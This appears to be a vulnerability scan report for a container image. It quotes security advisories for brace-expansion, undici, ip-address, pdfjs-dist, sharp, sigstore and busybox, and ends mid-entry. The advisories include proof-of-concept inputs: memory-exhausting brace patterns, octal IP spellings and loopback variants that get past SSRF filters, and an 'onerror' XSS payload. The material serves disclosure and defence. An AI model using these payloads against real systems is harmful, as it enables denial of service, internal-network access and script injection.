Affected range>=4.0.0
<5.0.9
Fixed version5.0.9
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.368%
EPSS Percentile29th percentile
Description

Summary

The maxLength mitigation added in 5.0.8 for GHSA-mh99-v99m-4gvg / CVE-2026-14257 is incomplete. It bounds the accumulator where results are combined, but not the intermediate arrays that feed it. A ~25 KB input still crashes the Node process with an uncatchable out-of-memory error, so try/catch around expand() does not help.

A second, related path in the same function lets a ~400 KB input block the event loop for over two minutes without ever exceeding the memory bound.

Details

maxLength was enforced in combine(), the single place output grows. Two arrays are built before combine() runs, and neither was bounded.

1. Comma alternatives accumulate without a running total (memory exhaustion)

Each alternative in {a,b,c,...} is expanded by its own recursive expand_() call, so each receives a full, independent maxLength allowance. The results were then concatenated into a single values array with no cumulative limit:

values = []
for (let j = 0; j < n.length; j++) {
  values.push.apply(values, expand_(n[j], max, maxLength, false))
}

acc = combine(acc, pre, values, max, maxLength, ...)

With A alternatives, values can reach A * maxLength characters before combine() gets a chance to truncate it. At the default maxLength of 4,000,000 and 400 alternatives, that is well past any default heap.

2. Padded sequences ignore maxLength while generating (CPU exhaustion)

expandSequence() was bounded by max (the result count) but never consulted maxLength. A padded sequence's element width follows the input, so {0...01..100000} with a wide pad generates max elements, each as wide as the input, only for combine() to discard all but a handful.

Memory stays flat here, because V8 represents the padded strings as cons-strings, which is likely why this path was not caught alongside the original issue. The cost is time: work proportional to max * width.

pad width input bytes results kept time (5.0.8) time (patched)
20,000 20 KB 199 ~7.3 s ~20 ms
100,000 100 KB 39 ~32 s ~20 ms
400,000 400 KB 9 ~124 s ~18 ms

Output is byte-identical before and after the fix; only the wasted work is removed.

Proof of concept

Memory exhaustion, against 5.0.8:

import { expand } from 'brace-expansion'

const part = '{' + '0'.repeat(50) + '1..100000}'
const input = '{' + Array(400).fill(part).join(',') + '}'  // ~25 KB

try {
  expand(input)
} catch (e) {
  // never reached - the process is already dead
}
FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory
Aborted

Event-loop stall, against 5.0.8:

import { expand } from 'brace-expansion'

// ~400 KB input, returns 9 results after roughly two minutes of blocking CPU
expand('{' + '0'.repeat(400_000) + '1..100000}')

Impact

Denial of service. Any application that passes attacker-controlled input to expand(), directly or transitively through a glob or pattern-matching library, can be remotely crashed or stalled. The out-of-memory variant terminates the process and cannot be handled with try/catch.

Applications already on 5.0.8 are affected: the 5.0.8 mitigation does not cover these paths.

Patches

Both intermediate arrays are now bounded as they are built, using the same max and maxLength limits already applied in combine():

  • values tracks a running result count and character length while alternatives are appended, and stops once either bound is reached.
  • expandSequence() accepts maxLength and stops generating once the sequence's own characters reach it.

As with the existing limits, output is truncated rather than allowed to grow without bound, which matches how max already behaves. The defaults sit well above any realistic expansion, so legitimate input is unaffected.

Workarounds

If upgrading is not immediately possible, avoid passing untrusted input to expand() or to glob brace patterns, or pass an explicitly small max and maxLength.

Note that a small maxLength alone was not sufficient on affected versions: it was applied per alternative rather than cumulatively, which is the root of the first issue above.

Credits

The memory-exhaustion bypass was reported by Alessio Della Libera, CEO & Co-founder at Numyra.

The sequence-generation issue was found while verifying that report.

high 7.5: CVE--2026--14257 Uncontrolled Resource Consumption

Affected range>=4.0.0
<5.0.8
Fixed version5.0.8
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.339%
EPSS Percentile26th percentile
Description

Summary

expand() bounds the number of results it produces (the max option,
100_000 by default) but not their length. By chaining many brace groups,
an attacker keeps the result count under max while making every result grow
with the number of groups. Building max long results — plus the intermediate
arrays combined at each brace group — exhausts memory and crashes the Node
process with an uncatchable out-of-memory error. try/catch around
expand() does not help: the fatal error terminates the process.

A ~7.5 KB input ('{a,b}'.repeat(1500)) is enough to crash a default Node
process.

Details

For N chained brace groups such as '{a,b}'.repeat(N):

  • the result count is 2^N, immediately capped at max (100_000), so the
    max protection appears to hold, but
  • each result is N characters long, so the total output size is
    max × N characters, which grows without bound in N.

expand_ combines each brace set with the fully-expanded tail:

const post = m.post.length ? expand_(m.post, max, false) : ['']
...
for (let j = 0; j < N.length; j++) {
  for (let k = 0; k < post.length && expansions.length < max; k++) {
    const expansion = pre + N[j] + post[k]   // grows one group longer per level
    ...
    expansions.push(expansion)
  }
}

The loop guard expansions.length < max limits how many strings are built, but
nothing limits how long they get. Each recursion level materializes another
array of up to max strings, one character longer than the level below, and —
because V8 represents pre + N[j] + post[k] as a cons-string (rope) that
references post[k] — those intermediate strings stay reachable through the
whole chain. Memory therefore scales with max × N.

Measured on 5.0.7 ('{a,b}'.repeat(N), default max):

groups (N) input bytes result count peak RSS
20 100 100,000 ~80 MB
50 250 100,000 ~214 MB
100 500 100,000 ~409 MB
300 1,500 100,000 ~1,148 MB
1500 7,500 — OOM crash

Proof of concept

const { expand } = require('brace-expansion')

// ~7.5 KB input — crashes the process with a fatal, uncatchable OOM:
//   FATAL ERROR: ... JavaScript heap out of memory
try {
  expand('{a,b}'.repeat(1500))
} catch (e) {
  // never reached — the process is already dead
}

Impact

Any application that passes attacker-influenced strings to
brace-expansion.expand() — directly, or transitively via minimatch / glob
brace patterns — can be crashed by a small request. Because the failure is a
fatal V8 out-of-memory error rather than a thrown exception, it cannot be caught
and it takes down the whole worker/process, denying service.

Remediation

Upgrade to a patched release. The fix bounds the total number of characters a
single expand() call may accumulate (EXPANSION_MAX_LENGTH, default
4_000_000, configurable via a new maxLength option), applied inside the
output-building loops so intermediate arrays are bounded too. Once the limit is
reached, output is truncated — consistent with how max already truncates —
instead of growing without bound. The limit sits well above any realistic
expansion (100,000 results hitting max measure ~1M characters), so legitimate
input is unaffected.

After the fix, '{a,b}'.repeat(1500) returns a bounded, truncated result in
~0.7 s using ~340 MB and never crashes, including under a constrained 512 MB
heap.

The fix bounds memory but the algorithm still rebuilds intermediate arrays at
each level (roughly O(N × maxLength) work on this input class). A streaming
rewrite that produces output in O(total output size) can be a non-urgent
follow-up.

If immediate upgrade isn't possible, avoid passing untrusted input to
expand() / glob brace patterns, or pass a small explicit max and
maxLength.

medium 6.5: CVE--2026--45149 Uncontrolled Resource Consumption

Affected range>=5.0.0
<5.0.6
Fixed version5.0.6
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.300%
EPSS Percentile22nd percentile
Description

The max option was being applied too late:

When expanding a single large numeric range like {1..10000000}, the sequence generation loop generates all 10 million intermediate elements before the max limit is applied With max=10, the output is correctly limited to 10 items, but the process still allocates ~505 MB and spends ~800ms building the full intermediate array.

Workaround

Ensure the string to be expanded doesn't contain more values than the desired max item count.

critical: 0 high: 3 medium: 0 low: 0 busybox 1.37.0-r57 (apk)

pkg:apk/wolfi/busybox@1.37.0-r57?arch=x86_64&origin=busybox

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

high : CVE--2023--39810

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.710%
EPSS Percentile50th percentile
Description

high : CVE--2026--26158

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.160%
EPSS Percentile6th percentile
Description

high : CVE--2026--26157

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.682%
EPSS Percentile49th percentile
Description
critical: 0 high: 3 medium: 0 low: 0 busybox 1.37.0-r57 (apk)

pkg:apk/wolfi/busybox@1.37.0-r57?arch=x86_64&distro=wolfi

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

high : CVE--2023--39810

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.710%
EPSS Percentile50th percentile
Description

high : CVE--2026--26158

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.160%
EPSS Percentile6th percentile
Description

high : CVE--2026--26157

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.682%
EPSS Percentile49th percentile
Description
critical: 0 high: 3 medium: 0 low: 0 busybox 1.37.0-r57 (apk)

pkg:apk/wolfi/busybox@1.37.0-r57?arch=x86_64&distro=wolfi-20230201

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

high : CVE--2023--39810

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.710%
EPSS Percentile50th percentile
Description

high : CVE--2026--26158

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.160%
EPSS Percentile6th percentile
Description

high : CVE--2026--26157

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.682%
EPSS Percentile49th percentile
Description
critical: 0 high: 1 medium: 4 low: 2 undici 6.25.0 (npm)

pkg:npm/undici@6.25.0

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

high 7.5: CVE--2026--12151 Uncontrolled Resource Consumption

Affected range<6.27.0
Fixed version6.27.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.789%
EPSS Percentile53rd percentile
Description

Impact

The undici WebSocket client enforces maxPayloadSize on the cumulative byte count of fragments in a message but does not enforce a limit on the number of fragments. A malicious WebSocket server can stream many small or empty continuation frames that each pass per-frame and cumulative-size validation, collectively causing unbounded memory growth in the client process. The result is memory exhaustion and a denial of service.

Affected applications are those using the undici WebSocket client (new WebSocket(...)) or the WebSocketStream API that can be induced to connect to an attacker-controlled or compromised WebSocket endpoint.

All releases starting at undici 6.17.0 are affected.

Patches

Upgrade to undici v6.27.0, v7.28.0 or v8.5.0.

Workarounds

No workaround is available. The fix must be applied through an upgrade.

medium 5.9: CVE--2026--9679 Improper Neutralization of CRLF Sequences ('CRLF Injection')

Affected range<6.27.0
Fixed version6.27.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.257%
EPSS Percentile17th percentile
Description

Impact

undici's cookie parser in parseSetCookie percent-decodes cookie values via qsUnescape, turning encoded sequences like %0D%0A, %00, %3B, and %3D into their literal byte equivalents. RFC 6265 §5.4 does not specify any decoding and browsers do not decode either.

Applications that parse a Set-Cookie header and then forward the parsed value into a response header (proxies, middleware, SSR frameworks) become vulnerable to HTTP response header injection: an attacker-controlled upstream can inject arbitrary Set-Cookie, Location, or Cache-Control headers into the application's downstream response, enabling session fixation, open redirect, or cache poisoning.

Affected applications are those that use undici's cookie parsing (parseSetCookie, parseCookie, getSetCookies) and forward the parsed cookie value into a response header.

This was introduced in undici 7.0.0 via #3789.

Patches

Upgrade to undici v6.27.0, v7.28.0 or v8.5.0.

Workarounds

If upgrade is not immediately possible, do not forward values returned by parseSetCookie/parseCookie/getSetCookies directly into response headers; sanitize the value first to strip or reject CR, LF, NUL, ;, and = bytes.

medium 4.8: CVE--2026--16729 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Affected range<6.28.0
Fixed version6.28.0
CVSS Score4.8
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.176%
EPSS Percentile7th percentile
Description

Impact

The setCookie function has two attribute injection paths. validateCookieDomain does not reject semicolons (validateCookiePath already does at 0x3B), so a domain value like example.com; SameSite=None lands verbatim as Domain=example.com; SameSite=None. The unparsed array's loop only checks each entry contains = and does not sanitize values, so an entry like X-Custom=val; HttpOnly lands unchanged, injecting HttpOnly without the caller setting cookie.httpOnly = true.

Applications that pass user-controlled input to these fields, typically multi-tenant or reverse-proxy servers that scope session cookies to a tenant-supplied domain, can have SameSite CSRF protections bypassed, Secure or HttpOnly forced or stripped, or the intended SameSite tier overridden.

Patches

Patched in undici v6.28.0, v7.29.0, and v8.9.0.

Workarounds

  • Sanitize domain values against the RFC 1034 letter-digit-hyphen set before passing to setCookie.
  • Do not pass user-controlled data to the unparsed field.

medium 4.8: CVE--2026--16728 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Affected range<6.28.0
Fixed version6.28.0
CVSS Score4.8
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.176%
EPSS Percentile7th percentile
Description

Impact

Undici's interceptors.retry() can deliver a response whose body length does not match the Content-Length header exposed to the application after a retry or resume of a partial response. Applications that use interceptors.retry() and forward upstream response headers and bodies downstream, for example proxy or gateway applications, may emit an invalid HTTP response with a stale Content-Length header. This can lead to downstream response desynchronization, connection hangs, or response corruption in clients or intermediaries that rely on the forwarded framing metadata.

A malicious or faulty upstream can respond to a range request with a 206 Partial Content response such as:

Content-Range: bytes 0-99/300
Content-Length: 300

and then send only 99 bytes before closing the socket. interceptors.retry() can then retry with Range: bytes=99-99, receive the final byte, and deliver a 100-byte body to the application while the response headers still contain Content-Length: 300 from the first response.

The bug requires interceptors.retry() to be enabled, an upstream that returns a partial response with a mismatched framing header, and a downstream forwarder that does not remove or recalculate Content-Length.

Patches

Patched in undici v6.28.0, v7.29.0, and v8.9.0. Users should upgrade to one of these versions or later.

Workarounds

  • Disable interceptors.retry() for untrusted upstreams.
  • Remove or recalculate Content-Length before forwarding a response body assembled or transformed by Undici.

medium 4.2: CVE--2026--15157 Improper Neutralization of CRLF Sequences ('CRLF Injection')

Affected range<6.28.0
Fixed version6.28.0
CVSS Score4.2
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
EPSS Score0.153%
EPSS Percentile5th percentile
Description

Impact

When an application passes a duck-typed blob-like body to undici's HTTP/1.1 dispatcher (via request(), stream(), pipeline(), or dispatch()) with a .type derived from untrusted input, an attacker can inject CRLF sequences (\r\n) to append arbitrary HTTP headers and potentially smuggle a second request past the upstream.

The vulnerable branch in lib/dispatcher/client-h1.js pushes body.type directly into the outgoing headers with no validation, while every other header path in undici goes through isValidHeaderValue():

} else if (util.isBlobLike(body) && request.contentType == null && body.type) {
  headers.push('content-type', body.type)  // bypasses isValidHeaderValue()
}

The bug requires a hand-rolled duck-typed blob object or a Blob subclass with a controlled .type. Native Blob is safe because its constructor strips CRLF from .type. fetch() is unaffected because it validates via the Headers class. Ecosystem consumers that build duck-typed blob shapes from user input include form-data-encoder, formdata-polyfill, and formdata-node.

Same defect class as CVE-2022-35948 (explicit content-type sink, fixed in undici 5.8.2) and CVE-2026-1527 (upgrade option sink, fixed in 6.24.0 / 7.24.0), both closed by adding isValidHeaderValue() on their respective sinks. This branch was missed.

Patches

Patched in undici v6.28.0, v7.29.0, and v8.9.0. Users should upgrade to one of these versions or later.

Workarounds

  • Set an explicit, validated content-type header on the request options (skips the vulnerable branch).
  • Use a native Blob (or fetch-blob) instead of a hand-rolled duck-typed object.
  • Reject control characters in the MIME type before assigning it to .type.
  • Use fetch() instead of the non-fetch APIs.

low 3.7: CVE--2026--6733 Time-of-check Time-of-use (TOCTOU) Race Condition

Affected range<6.27.0
Fixed version6.27.0
CVSS Score3.7
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score0.220%
EPSS Percentile13th percentile
Description

Impact

Undici's HTTP/1.1 client is vulnerable to response queue poisoning on reused keep-alive sockets. An attacker-controlled upstream server can inject an unsolicited HTTP/1.1 response onto an idle socket after a request completes. When the client dispatches the next request on that socket, it associates the injected response with the new request, causing responses to be delivered to the wrong requests.

This requires an attacker-controlled or compromised upstream HTTP/1.1 server and keep-alive connection reuse.

Patches

Upgrade to undici v6.27.0, v7.28.0 or v8.5.0.

Workarounds

Disable keep-alive connection reuse by setting keepAliveTimeout: 0 on the Client or Pool.

low 3.7: CVE--2026--11525 Permissive List of Allowed Inputs

Affected range<6.27.0
Fixed version6.27.0
CVSS Score3.7
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score0.238%
EPSS Percentile15th percentile
Description

Impact

When undici parses a Set-Cookie header, it accepts any SameSite attribute value that contains Strict, Lax, or None as a substring, rather than the case-insensitive exact match specified by RFC 6265. Non-spec values are silently mapped to one of the three standard tokens:

  • SameSite=NoneOfYourBusiness is parsed as None, the most permissive setting.
  • SameSite=StrictLax is parsed as Lax, a downgrade from Strict.

Affected applications are those that consume Set-Cookie headers from server responses (for example via undici's fetch or proxy code paths) and then forward or rely on the parsed sameSite attribute. A malicious or non-compliant server can coerce the consumer's view of a cookie's SameSite policy to a weaker value, silently degrading the SameSite enforcement the cookie is supposed to provide.

This was introduced in undici 5.15.0 when the cookies feature was added.

Patches

Upgrade to undici v6.27.0, v7.28.0 or v8.5.0.

Workarounds

After parsing a Set-Cookie header, validate that the resulting sameSite attribute is one of 'Strict', 'Lax', or 'None' (exact, case-insensitive) before forwarding or relying on it.

critical: 0 high: 1 medium: 1 low: 0 ip-address 10.1.0 (npm)

pkg:npm/ip-address@10.1.0

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

high 7.7: CVE--2026--69192 Improper Input Validation

Affected range<=10.3.0
Fixed version10.3.1
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N
EPSS Score0.292%
EPSS Percentile21st percentile
Description

Summary

Address4 accepts an octet written with a leading zero and decodes it as decimal, while the WHATWG URL host parser, inet_aton, and getaddrinfo all decode a leading zero as octal. The library and the network stack therefore disagree about which host a string names. new Address4('012.0.0.1') reports correctForm() of 12.0.0.1 and isPrivate() of false, but fetch('http://012.0.0.1/') connects to 10.0.0.1.

An application that builds a network trust-boundary decision on these checks (for example a filter intended to block Server-Side Request Forgery, or SSRF) will classify an internal target as external and allow the request. SSRF is an attack in which a user-supplied address coaxes the server into making a request to an internal destination the user could not otherwise reach, such as a loopback service or a cloud metadata endpoint.

Details

Address4.parse gates untrusted input on RE_ADDRESS (src/v4/constants.ts:5), whose per-octet alternative is:

(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)

The [01]?[0-9][0-9]? branch matches a leading zero, so 012 passes validation. Every downstream decode then reads the octet with parseInt(part, 10) (src/common.ts:87), yielding 12. A resolver reading the same string treats the leading 0 as base 8 and yields 10.

The defect is in the parse gate rather than in any one classifier, so every consumer of Address4 inherits it: isPrivate(), isLoopback(), isLinkLocal(), isCGNAT(), isInSubnet(), isHostInSubnet(), and correctForm() are all computed from the mis-decoded octets.

Address6 already rejects this notation on its IPv4-in-IPv6 path, throwing "IPv4 addresses can't have leading zeroes." (src/ipv6.ts:751-762), so Address4 is the outlier within the library.

Affected versions

<= 10.3.0. Unlike GHSA-22jq-vg5j-6vgg and GHSA-4xrf-jv44-h6hh, which were bounded below by the is* classification API introduced in 10.1.1, this defect is in parse and reaches every release: a guard built on isInSubnet() against the RFC 1918 ranges is affected in versions predating that API.

Impact

The disagreement runs in both directions. Under-blocking is the security-relevant case; over-blocking is a correctness and availability problem.

Input correctForm() Classified as Resolver reaches Effect
012.0.0.1 12.0.0.1 public 10.0.0.1 internal target allowed
012.012.012.012 12.12.12.12 public 10.10.10.10 internal target allowed
010.0.0.1 10.0.0.1 private 8.0.0.1 public target blocked

Reachable targets are those whose leading octet is expressible as a three-character octal literal, which covers the whole of 10.0.0.0/8 and 0.0.0.0/8. A four-character octet such as 0177 for 127 is rejected by the regex, so loopback is not reachable through this path; see the note on rejection below for why rejection is not the same as safety.

Reachability

A leading-zero address is a legal URL host, so this is reachable through the ordinary URL path with no unusual application shape required:

new URL('http://012.0.0.1/').hostname   // '10.0.0.1'

This distinguishes it from GHSA-4xrf-jv44-h6hh, where the /0 CIDR suffix could not survive URL parsing and exploitation therefore required an application that accepted a bare suffix-bearing string. Here the attack rides the same code path a normal user-supplied URL takes.

Proof of concept

npm i ip-address@<!-- -->10.3.0, then:

const { Address4 } = require('ip-address');

// A guard of the shape the library documents.
function isBlocked(host) {
  return Address4.isValid(host) && new Address4(host).isPrivate();
}

for (const h of ['10.0.0.1', '012.0.0.1', '012.012.012.012']) {
  console.log(isBlocked(h) ? 'BLOCK' : 'ALLOW', h,
              '-> resolver reaches', new URL('http://' + h + '/').hostname);
}

On affected versions:

BLOCK 10.0.0.1 -> resolver reaches 10.0.0.1
ALLOW 012.0.0.1 -> resolver reaches 10.0.0.1
ALLOW 012.012.012.012 -> resolver reaches 10.10.10.10

The literal RFC 1918 address is blocked as expected; the octal-ambiguous spellings of the same destinations are allowed through.

Remediation

Upgrade to the patched release. In the fix, Address4.parse rejects any octet with a leading zero followed by further digits, mirroring the check Address6 already applies at src/ipv6.ts:751, and RE_ADDRESS is tightened so those forms no longer appear in the valid corpus. After upgrading, Address4.isValid('012.0.0.1') returns false and the constructor throws AddressError.

This rejects input that previous releases accepted. An application that deliberately feeds zero-padded addresses such as 010.010.010.010 from a legacy system must strip the padding before parsing.

If you cannot upgrade immediately, reject any host whose octets carry a leading zero before you parse it:

if (host.split('.').some((octet) => /^0\d/.test(octet))) throw new Error('ambiguous address');

A note on SSRF defense

These methods are address classifiers, not a complete SSRF defense. Regardless of this fix, a robust SSRF guard must resolve the hostname and validate the resolved IP against the socket it connects to, and account for DNS rebinding and redirects. Treat these checks as one layer, not the only one.

One specific pitfall is worth naming, because the fix above does not remove it. Address4.isValid() returning false means "this is not a dotted-quad IPv4 literal"; it does not mean "this is not an address that will reach an internal host". Every one of the following is rejected by isValid() and still resolves to loopback:

0177.0.0.1    0x7f.0.0.1    0x7f000001    2130706433
127.1         127.0.1       127.0.0.1.    127.0.0.1

A guard shaped if (Address4.isValid(h)) { check() } else { treatAsHostname() } therefore routes all of them past the IP check. Rejecting these is correct behavior for an IPv4 parser and is not changed by this advisory, but a guard must treat "not a valid literal" as a case to resolve and re-check, never as a case to allow.

medium 5.3: CVE--2026--42338 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected range<=10.1.0
Fixed version10.1.1
CVSS Score5.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score0.471%
EPSS Percentile38th percentile
Description

Summary

Address6.group() and Address6.link() do not HTML-escape attacker-controlled content before embedding it in the HTML strings they return, and AddressError.parseMessage (emitted by the Address6 constructor for invalid input) can contain unescaped attacker-controlled content in one branch. An application that (1) passes untrusted input to Address6 and (2) renders the output of these methods, or the thrown error's parseMessage, as HTML (e.g. via innerHTML) is vulnerable to cross-site scripting. A related issue in v6.helpers.spanAll() produced malformed markup but was not exploitable; it is hardened in the same release for consistency.

Details

Four related issues were identified and fixed together:

  1. Address6.group(): zone ID injection. The Address6 constructor stores the raw input (including any IPv6 zone ID) in this.address before zone stripping. group() then passed this.address to helpers.simpleGroup(), which wrapped each :-separated segment in a <span> element without HTML-escaping the content. A zone ID containing HTML markup was embedded verbatim.
  2. Address6.link({ prefix, className }): attribute-value injection. link() concatenated user-supplied prefix and className into the href="…" and class="…" attributes without escaping. A caller passing untrusted content through these options could inject event handlers (e.g. onmouseover) and achieve XSS.
  3. Address6 constructor: leading-zero IPv4 error path. The leading-zero branch in parse4in6() built AddressError.parseMessage by concatenating the raw address through String.replace(). Because parse4in6() runs before the bad-character check, any characters in the groups preceding the IPv4 suffix flowed into the error's HTML unescaped. Consumers who render parseMessage as HTML (its documented purpose — it already contains <span class="parse-error"> markup) could be XSS'd by a crafted input such as <img src=x onerror=alert(1)>:10.0.01.1.
  4. v6.helpers.spanAll(): attribute-value injection (defense in depth). spanAll() embedded each character of its input into a class="digit value-${n} …" attribute without escaping. Because split('') limits n to a single character this was not exploitable in practice, but it produced malformed markup and is fixed for consistency.

Affected Versions

All versions up to and including 10.1.0.

Patched Version

10.1.1.

Impact

Real-world exposure is believed to be extremely limited. Analysis of all 425 dependent npm packages as well as GitHub code search found zero consumers of group(), link(), or spanAll(): these HTML-emitting surfaces appear to be unused across published npm packages and public repositories. Applications using only the address-parsing and comparison APIs (isValid, correctForm, isInSubnet, bigInt, etc.) are not affected.

Consumers who do render the output of group(), link(), spanAll(), or AddressError.parseMessage as HTML against untrusted input should upgrade.

PoC

const { Address6 } = require('ip-address');
const addr = new Address6('fe80::1%<img src=x onerror=alert(1)>');
document.body.innerHTML = addr.group();  // fires the onerror handler in 10.1.0

Workarounds

If users cannot upgrade immediately:

  • Do not pass untrusted input to the Address6 constructor, or
  • Never render the output of group(), link(), or spanAll(), nor the parseMessage field of any thrown AddressError, as HTML; treat these values as text only, or run them through DOMPurify before inserting into the DOM (DOMPurify's default configuration preserves the library's intended <span> wrapping while stripping any injected event handlers), or
  • Validate input with Address6.isValid() and reject anything that contains a zone identifier (a % character) or characters outside [0-9a-fA-F:/] before passing it to the constructor.

Lack of separate CVEs

Given the evidence that these methods are not used, and given that they are all of the same construction, maintainers do not think it's relevant or useful to create a separate CVE for each library method.

Credit

ip-address thanks @scovetta for reporting this issue.

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 3.11.174 (npm)

pkg:npm/pdfjs-dist@3.11.174

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score72.648%
EPSS Percentile99th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

critical: 0 high: 1 medium: 0 low: 0 sharp 0.33.5 (npm)

pkg:npm/sharp@0.33.5

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

high 7.0: GHSA--f88m--g3jw--g9cj Dependency on Vulnerable Third-Party Component

Affected range<0.35.0
Fixed version0.35.0
CVSS Score7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N
Description

Impact

A number of vulnerabilities, two rated as "High" severity using CVSSv4, have been discovered and fixed in the upstream libvips dependency.

Those processing untrusted input with versions of sharp prior to 0.35.0 are affected.

Patches

Using prebuilt binaries provided by sharp?

Most people rely on the prebuilt binaries provided by sharp.

Please upgrade sharp to the latest version, currently 0.35.3, which provides libvips 8.18.3.

Using a globally-installed libvips?

Please ensure you are using the latest libvips 8.18.3.

Workarounds

Add the following to your code to prevent sharp from decoding GIF, TIFF and VIPS images.

sharp.block({ operation: ["VipsForeignLoadNsgif", "VipsForeignLoadTiff", "VipsForeignLoadVips"] });
critical: 0 high: 1 medium: 0 low: 0 sigstore 4.1.0 (npm)

pkg:npm/sigstore@4.1.0

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

high 7.5: CVE--2026--48815 Improper Verification of Cryptographic Signature

Affected range<=4.1.0
Fixed version4.1.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.143%
EPSS Percentile4th percentile
Description

Summary

The documented certificateOIDs option in sigstore.verify() is accepted by the public API but discarded before verification, so required certificate extension OIDs are never checked.

Details

The public verify options include certificateOIDs and the documentation says those OID/value pairs “must be present in the certificate’s extension list.” The policy-construction path used by sigstore.verify() and createVerifier() only copies the SAN and issuer settings into the verification policy and completely ignores certificateOIDs.

As a result, callers can believe they are constraining verification to certificates carrying specific Fulcio or workload-identifying OIDs, while the actual verifier never receives those constraints. Any bundle that satisfies the remaining checks is accepted even if the required OID extensions are absent or mismatched.

This is reachable from supported usage through the documented certificateOIDs verify option.

PoC

const { createVerificationPolicy } = require("sigstore/dist/config");

const policy = createVerificationPolicy({
